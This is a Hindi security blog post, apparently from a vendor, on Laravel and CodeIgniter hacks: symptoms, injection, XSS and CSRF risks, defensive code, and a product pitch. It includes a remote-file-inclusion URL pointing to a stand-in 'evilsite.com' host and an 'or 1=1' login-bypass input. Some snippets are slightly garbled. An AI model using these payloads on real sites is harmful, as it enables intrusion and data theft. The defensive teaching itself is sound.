लारवेल और कोडइग्नाइटर दोनों लोकप्रिय PHP फ्रेमवर्क हैं जिनका उपयोग वेबसाइट बनाने के लिए किया जाता है। उनकी लोकप्रियता का श्रेय दोनों फ्रेमवर्क की ओपन-सोर्स प्रकृति को भी दिया जा सकता है। हालांकि, उपयोगकर्ताओं को यह समझना चाहिए कि इन फ्रेमवर्क्स का उपयोग करके साइट्स डेप्लॉय करने मात्र से वे सुरक्षित नहीं हो जातीं। मायने रखती हैं सुरक्षित विकास प्रथाएं। कोडइग्नाइटर में SQL इंजेक्शन और लारवेल में SQL इंजेक्शन सहायता फ़ोरम पर दो सबसे आम सुरक्षा विषय हैं। SQLi के अलावा, असुरक्षित विकास प्रथाएं साइट्स को XSS, CSRF, RFI हमलों आदि के प्रति संवेदनशील बनाती हैं।
हैक की गई कोडइग्नाइटर और लारवेल वेबसाइट: उदाहरण
कोडइग्नाइटर या लारवेल में SQL इंजेक्शन जैसे हमले वेबसाइट से समझौता कर सकते हैं। ये हमले काफी आम और व्यापक हैं। इसलिए, इसी तरह के हमलों से पीड़ित बड़ी संख्या में उपयोगकर्ता लारवेल कम्युनिटी फ़ोरम या कोडइग्नाइटर कम्युनिटी फ़ोरम पर मदद मांगते पाए जा सकते हैं। उनमें से कुछ उदाहरण नीचे दिए गए हैं।
कोडइग्नाइटर या लारवेल हैक के लक्षण
- लारवेल या कोडइग्नाइटर फ़िशिंग पेज संवेदनशील जानकारी चुराने के लिए वेबसाइट पर दिखाई देते हैं।
- उपयोगकर्ता दुर्भावनापूर्ण साइट्स पर रीडायरेक्ट होने की शिकायत करते हैं।
- जापानी कीवर्ड हैक या फार्मा हैक आदि के कारण लारवेल या कोडइग्नाइटर साइट पर बेतुका कंटेंट दिखाई देता है।
- लारवेल या कोडइग्नाइटर वेबसाइट बहुत धीमी हो जाती है और एरर मैसेज दिखाती है।
- थर्ड-पार्टी होस्टिंग का उपयोग करते समय, "आपका अकाउंट सस्पेंड कर दिया गया है!" दिखाई देता है।
- लारवेल या कोडइग्नाइटर साइट सर्च इंजन्स द्वारा ब्लैकलिस्ट कर दी जाती है।
- एरर लॉग्स में कोडइग्नाइटर पर SQL इंजेक्शन जैसे हमले दिखाई देते हैं।
- लॉग्स में रिमोट IP एड्रेसेस से वेबसाइट लॉगिन दिखाई देते हैं।
- लॉगिन डेटाबेस में नए दुष्ट एडमिन दिखाई देते हैं।
कोडइग्नाइटर या लारवेल हैक के मूल कारण
1) कोडइग्नाइटर या लारवेल हैक: इंजेक्शन हमले
a) कोडइग्नाइटर या लारवेल में SQL इंजेक्शन
कोडइग्नाइटर में SQL इंजेक्शन एक बहुत आम हमला है जो वेब पर व्यापक रूप से फैला हुआ है। जैसा कि नाम से पता चलता है, यह हमला सर्वर के डेटाबेस को निशाना बनाता है। कोडइग्नाइटर में SQL इंजेक्शन का फायदा उठाकर, हमलावर कर सकता है:
- डेटाबेस से डेटा प्राप्त करें।
- डेटाबेस की सामग्री संशोधित करें (पूरे डेटाबेस को डिलीट करना शामिल है!)
- कुछ मामलों में, रिवर्स शेल प्राप्त करें।
- 'या 1=1' जैसे इनपुट का उपयोग करके ऑथेंटिकेशन बायपास करें।
b) कोडइग्नाइटर / लारवेल में PHP कोड इंजेक्शन
PHP कोड इंजेक्शन एक अन्य सामान्य भेद्यता है जो हमलावरों को लारवेल/कोडइग्नाइटर वेबसाइट पर कोड निष्पादित करने की अनुमति देती है। हालांकि, यह कमांड इंजेक्शन से भिन्न है जिसमें हमलावर रिवर्स शेल के माध्यम से कमांड निष्पादित कर सकता है। उदाहरण के लिए, कमज़ोर पैरामीटर को एक दुर्भावनापूर्ण फ़ाइल का लिंक प्रदान किया जा सकता है जिसमें निष्पादित करने के लिए PHP कोड होता है, जैसे https://testsite.com/?page=https://evilsite.com/evilcode.php
इस फ़ाइल में phpinfo() जैसे फ़ंक्शन हो सकते हैं जिनका उपयोग जानकारी प्राप्त करने के लिए किया जा सकता है।
2) कोडइग्नाइटर या लारवेल हैक: कोडइग्नाइटर / लारवेल में क्रॉस-साइट स्क्रिप्टिंग (XSS)
लारवेल/कोडइग्नाइटर वेबसाइट्स में XSS भेद्यता इनपुट सैनिटाइज़ेशन की कमी के कारण होती है। दोनों फ्रेमवर्क में ऐसे हमलों को रोकने के लिए विशेष रूप से डिज़ाइन किए गए सुरक्षा फ़ंक्शन हैं। XSS हमले का फायदा उठाकर, हमलावर कर सकते हैं:
- कुकीज़ और अन्य संवेदनशील सेशन डेटा चुराने के लिए उपयोगकर्ताओं को फ़िशिंग करें।
- उपयोगकर्ताओं को दुर्भावनापूर्ण साइट पर रीडायरेक्ट करें।
- सेम-ओरिजिन पॉलिसी को बायपास करने के लिए उपयोग किया जाता है।
3) लारवेल या कोडइग्नाइटर हैक: कोडइग्नाइटर / लारवेल में क्रॉस-साइट रिक्वेस्ट फ़ॉरजरी (CSRF)
इस हमले का उद्देश्य उपयोगकर्ताओं को अवांछित कार्य करने के लिए धोखा देना है। हालांकि, इस प्रकार के हमले का उपयोग केवल डेटा में हेरफेर करने (फॉर्म डिलीट करना, आदि) के लिए किया जा सकता है, न कि उन्हें चुराने या पढ़ने के लिए। सबसे खराब स्थिति में, यदि पीड़ित एडमिन है, तो पूरा एप्लिकेशन नष्ट हो सकता है। यह हमला पीड़ितों को एक लिंक पर क्लिक करने के लिए धोखा देने के लिए सोशल इंजीनियरिंग ट्रिक्स का उपयोग करता है जो बैकग्राउंड में अकाउंट डिलीट करने जैसे कमांड निष्पादित करता है।
कोडइग्नाइटर या लारवेल साइट हैक हो गई? चैट विजेट पर हमें मैसेज करें और हम इसे हल करने में आपकी मदद करके खुश होंगे। मेरी लारवेल/कोडइग्नाइटर हैक की गई वेबसाइट ठीक करें।
4) अपनी कोडइग्नाइटर / लारवेल वेबसाइट सुरक्षित करें
कोडइग्नाइटर या लारवेल हैक: कोडइग्नाइटर में SQL इंजेक्शन से बचें
कोडइग्नाइटर ढेर सारी सुरक्षा सुविधाओं के साथ आता है। उनमें से कुछ में कोडइग्नाइटर में SQL इंजेक्शन से बचने के लिए फ़ंक्शन और लाइब्रेरी शामिल हैं। इस लेख में, मैं इस कार्य को पूरा करने के 3 मुख्य तरीकों को एक-एक करके समझाऊंगा।
कोडइग्नाइटर या लारवेल हैक: कोडइग्नाइटर में क्वेरीज़ एस्केप करें
PHP एप्लिकेशन में सबमिट करने से पहले डेटा एस्केप करना उसे सैनिटाइज़ करेगा। इसलिए यह एक सुरक्षित अभ्यास है जिसका नियमित रूप से पालन किया जाना चाहिए। क्वेरीज़ एस्केप करना भी तीन तरीकों से किया जा सकता है:
- $this->db->escape(): एस्केप करने से पहले डेटा प्रकार निर्धारित करता है
- $this->db->escape_str(): डेटा प्रकार निर्धारित नहीं करता, बस एस्केप करता है।
- $this->db->escape_like_str(): शर्तों के साथ उपयोग किया जा सकता है।
अधिक स्पष्टता के लिए, नीचे दिए गए कोड स्निपेट को देखें।
<?php
$email = $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name ='. $this->db->escape($email);
$this->db->query($query);
?>
इस कोड में, फंक्शन $this->db->escape() पहले डेटा प्रकार निर्धारित करता है ताकि केवल स्ट्रिंग डेटा एस्केप हो। साथ ही, यह इनपुट डेटा के चारों ओर स्वचालित रूप से सिंगल कोट्स जोड़ देता है। यह कोडइग्नाइटर में SQL इंजेक्शन को रोकता है।
कोडइग्नाइटर या लारवेल हैक: कोडइग्नाइटर में क्वेरी बाइंडिंग
क्वेरी बाइंडिंग कोडइग्नाइटर वेबसाइट के इनपुट को साफ करने के अलावा कोड को सरल भी बना सकती है। यह विधि सिस्टम को क्वेरी रखने की अनुमति देती है, जिससे डेवलपर के लिए जटिलता कम हो जाती है। उदाहरण के लिए, नीचे दिए गए कोड स्निपेट को देखें।
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status =? AND email =?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>
यहां, आप पहली लाइन में मानों के बजाय प्रश्न चिह्न देख सकते हैं। क्वेरी बाइंडिंग के कारण, ये प्रश्न चिह्न दूसरी लाइन में सरणी के मानों से बदल दिए जाते हैं। पिछले उदाहरण में, हमने मैन्युअल क्वेरी एस्केपिंग देखी, लेकिन यहां यह विधि इसे स्वचालित रूप से पूरा करती है। इस प्रकार कोडइग्नाइटर में SQL इंजेक्शन को रोकती है।
कोडइग्नाइटर या लारवेल हैक: कोडइग्नाइटर में एक्टिव रिकॉर्ड
कोडइग्नाइटर की एक्टिव रिकॉर्ड सुविधा हमें न्यूनतम कोड लाइन्स या स्क्रिप्ट के साथ डेटाबेस ऑपरेशन करने की अनुमति देती है। चूंकि यह सिस्टम का एक फ़ंक्शन है, क्वेरी एस्केपिंग स्वचालित रूप से होती है। उदाहरण के लिए, टेबल के सभी डेटा को एक साधारण क्वेरी द्वारा प्राप्त किया जा सकता है:
$query = $this->db->get('mytable');
कोडइग्नाइटर या लारवेल हैक: लारवेल में SQL इंजेक्शन से बचें
लारवेल का ऑब्जेक्ट-रिलेशनल मैपिंग PHP ऑब्जेक्ट डेटा बाइंडिंग का उपयोग करके उपयोगकर्ता इनपुट को सैनिटाइज़ करता है, जो बदले में लारवेल SQL इंजेक्शन को रोकता है। पैरामीटर बाइंडिंग स्वचालित रूप से कोट्स भी जोड़ती है, जिससे or 1=1 जैसे खतरनाक इनपुट को ऑथेंटिकेशन बायपास करने से रोका जाता है।
$results = DB::select('select * from users where id =:id', ['id' => 1]);
यहां लारवेल में नेम्ड क्वेरी बाइंडिंग का एक कार्यान्वयन है।
कोडइग्नाइटर या लारवेल हैक: कोडइग्नाइटर में क्रॉस-साइट स्क्रिप्टिंग से बचें
संभावित XSS हमलों को रोकने के लिए, कोडइग्नाइटर एक प्री-बिल्ट XSS फ़िल्टर के साथ आता है। यदि यह फ़िल्टर किसी दुर्भावनापूर्ण अनुरोध का सामना करता है, तो इसे इसके कैरेक्टर एंटिटी में बदल देता है, जिससे एप्लिकेशन सुरक्षित रहता है। यह फ़िल्टर xss_clean() मेथड के माध्यम से एक्सेसिबल है:
$data = $this->security->xss_clean($data);
हालांकि, हमलावर कभी-कभी इमेज फ़ाइलों में दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं। ऐसे हमलों को रोकने के लिए, अपलोड की गई फ़ाइलों की सुरक्षा भी जांची जा सकती है। उदाहरण के लिए, नीचे दिए गए कोड को देखें।
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// फ़ाइल XSS टेस्ट में विफल रही
}
यह कोड बूलियन True लौटाएगा यदि इमेज सुरक्षित है और इसके विपरीत। हालांकि, यह ध्यान दिया जाना चाहिए कि यदि आप HTML एट्रिब्यूट वैल्यूज़ फ़िल्टर करना चाहते हैं तो html_escape() मेथड का उपयोग करने की सलाह दी जाती है।
कोडइग्नाइटर या लारवेल हैक: लारवेल क्रॉस-साइट स्क्रिप्टिंग से बचें
स्ट्रिंग एस्केपिंग का उपयोग करके, लारवेल वेबसाइट्स पर XSS हमलों को रोका जा सकता है। स्ट्रिंग एस्केपिंग अनधिकृत इनपुट के कार्यान्वयन को रोकेगी। हालांकि, यह ध्यान दिया जाना चाहिए कि लारवेल वर्जन > 5.1 में, यह सुविधा डिफ़ॉल्ट रूप से सक्षम है। इसलिए, जब इनपुट जैसे: <div> {{$task->names}} </div> को 5.1 से ऊपर के लारवेल वर्जन को प्रदान किया जाता है, तो एप्लिकेशन क्वेरीज़ के स्वचालित एस्केपिंग के कारण कमज़ोर नहीं होगी। इसके अलावा, उपयोगकर्ता द्वारा प्रदान की गई इनपुट लंबाई को सीमित करना भी कुछ प्रकार के XSS और SQLi हमलों को रोक सकता है। यह दिए गए HTML कोड के माध्यम से किया जा सकता है।
<input type="text" name="task" maxlength="10">
इसे JS फ़ंक्शन के माध्यम से भी लागू किया जा सकता है। इसके अलावा, लारवेल में सिंटैक्स {% raw%} {{}} {% endraw%} डिफ़ॉल्ट रूप से पास की गई सभी दुर्भावनापूर्ण HTML एंटिटीज़ को एस्केप कर सकता है। इसके अलावा, कुछ लाइब्रेरीज़ विशेष रूप से इस कार्य के लिए डिज़ाइन की गई हैं और लारवेल XSS को रोकने के लिए उपयोग की जा सकती हैं। यदि आप ब्लेड जैसे टेम्पलेट इंजन का उपयोग कर रहे हैं, तो यह ऐसे हमलों को रोकने के लिए स्वचालित रूप से एस्केपिंग का उपयोग करेगा।
कोडइग्नाइटर या लारवेल हैक: कोडइग्नाइटर में CSRF हमलों को रोकें
कोडइग्नाइटर में CSRF सुरक्षा को application/config/config.php फ़ाइल को संशोधित करके सक्षम किया जा सकता है। बस फ़ाइल में निम्न कोड जोड़ें:
$config['csrf_protection'] = TRUE;
फॉर्म हेल्पर का उपयोग करने वाले उपयोगकर्ताओं के लिए, फ़ंक्शन form_open() डिफ़ॉल्ट रूप से फॉर्म्स में एक हिडन CSRF टोकन फ़ील्ड डाल सकता है। CSRF सुरक्षा लागू करने का दूसरा तरीका get_csrf_token_name() और get_csrf_hash() का उपयोग करना है। संदर्भ के लिए, नीचे एक फॉर्म और सर्वर-साइड कार्यान्वयन के दो कोड स्निपेट दिए गए हैं।
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash()
);
-----------------------------------
<input type="hidden" name="=$csrf['name'];?>" value="=$csrf['hash'];?>" />
टोकन पुनर्जनन भी कोडइग्नाइटर CSRF हमलों को रोकने के लिए एक और सुरक्षित अभ्यास है। हालांकि, टोकन पुनर्जनन समस्याग्रस्त हो सकता है क्योंकि उपयोगकर्ताओं को अन्य टैब पर नेविगेट करने के बाद पुनः मान्य करने की आवश्यकता हो सकती है। टोकन पुनर्जनन निम्न कॉन्फ़िगरेशन पैरामीटर द्वारा किया जा सकता है:
$config['csrf_regenerate'] = TRUE;
कोडइग्नाइटर या लारवेल हैक: लारवेल में CSRF हमलों को रोकें
लारवेल में फॉर्म्स में टोकन लागू किए जाते हैं ताकि CSRF हमलों से बचाव किया जा सके। इन टोकन्स को तब एक AJAX कॉल का उपयोग करके बुलाया जाता है जो हर फॉर्म में अंतर्निहित होता है। अनुरोध के टोकन डेटा का मिलान सर्वर पर संग्रहीत उपयोगकर्ता के सत्र के डेटा से किया जाता है ताकि विसंगतियों की जांच की जा सके। CSRF टोकन को फॉर्म्स में निम्न कोड का उपयोग करके पास किया जा सकता है (ब्लेड टेम्प्लेट का कार्यान्वयन):
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- अन्य इनपुट यहां आ सकते हैं -->
</form>
हालांकि, लारवेलकलेक्टिव/HTML पैकेज का उपयोग करते समय CSRF टोकन डिफ़ॉल्ट रूप से जोड़ा जा सकता है।
कोडइग्नाइटर या लारवेल हैक: एरर रिपोर्टिंग ब्लॉक करें
फ़ाइल एरर डेवलपमेंट एनवायरनमेंट में उपयोगी होते हैं। हालांकि, वेब पर, कोडइग्नाइटर फ़ाइल एरर हमलावरों को संभावित संवेदनशील जानकारी लीक कर सकते हैं। इसलिए, एरर रिपोर्टिंग को अक्षम करने की सिफारिश की जाती है।
PHP एरर
PHP एरर रिपोर्टिंग को अक्षम करने के लिए, index.php फ़ाइल का उपयोग करें। बस error_reporting() फ़ंक्शन में शून्य को आर्गुमेंट के रूप में पास करें। संदर्भ के लिए नीचे दिए गए उदाहरण को देखें।
error_reporting(0);
हालांकि, कोडइग्नाइटर वर्जन 2.0.1 और उच्चतर के लिए, index.php फ़ाइल में एनवायरनमेंट कॉन्स्टेंट को "production" पर सेट करके PHP एरर आउटपुट को अक्षम किया जा सकता है।
डेटाबेस एरर
डेटाबेस एरर को application/config/database.php फ़ाइल को संशोधित करके अक्षम किया जा सकता है। बस db_debug विकल्प को FALSE पर सेट करें। संदर्भ के लिए नीचे दिए गए उदाहरण को देखें:
$db['default']['db_debug'] = FALSE;
एरर लॉगिंग
एक स्मार्ट तरीका यह होगा कि घटित एरर्स को लॉग फ़ाइलों में स्थानांतरित कर दिया जाए, जो उन्हें प्रदर्शित होने से रोक देगा। इस उद्देश्य के लिए /config/config.php फ़ाइल के लॉग_थ्रेशोल्ड विकल्प को 1 पर सेट किया जा सकता है। नीचे दिए गए उदाहरण को देखें।
$config['log_threshold'] = 1;
लारवेल या कोडइग्नाइटर के लिए वेब एप्लिकेशन फायरवॉल का उपयोग करें
विशेषज्ञ भी कुछ सेटिंग्स चूक सकते हैं जो लारवेल/कोडइग्नाइटर साइट को कमज़ोर बना सकती हैं। इसके अलावा, हमलावर लगातार आपकी साइट से समझौता करने के नए तरीके ढूंढते रहते हैं। इसलिए, एक और सुरक्षित अभ्यास किसी फायरवॉल या सुरक्षा समाधान का उपयोग करना है। एस्ट्रा एक ऐसा सुरक्षा समाधान है जिसे आपकी लचीली आवश्यकताओं को पूरा करने के लिए डिज़ाइन किया गया है। केवल उसी का भुगतान करें जिसका आप उपयोग करते हैं। एस्ट्रा एक रेडी-टू-यूज़ सुरक्षा समाधान है जिसकी कीमत $9 प्रति माह से शुरू होती है। हमें मैसेज करें और अपने PHP कोड को सुरक्षित करने के करीब पहुंचें। अभी डेमो प्राप्त करें!
एस्ट्रा 80+ सक्रिय टेस्ट के साथ आपकी लारवेल या कोडइग्नाइटर वेबसाइट के लिए एक पूर्ण सुरक्षा ऑडिट प्रदान करता है, जो मैन्युअल और स्वचालित टेस्ट का एक अच्छा मिश्रण है।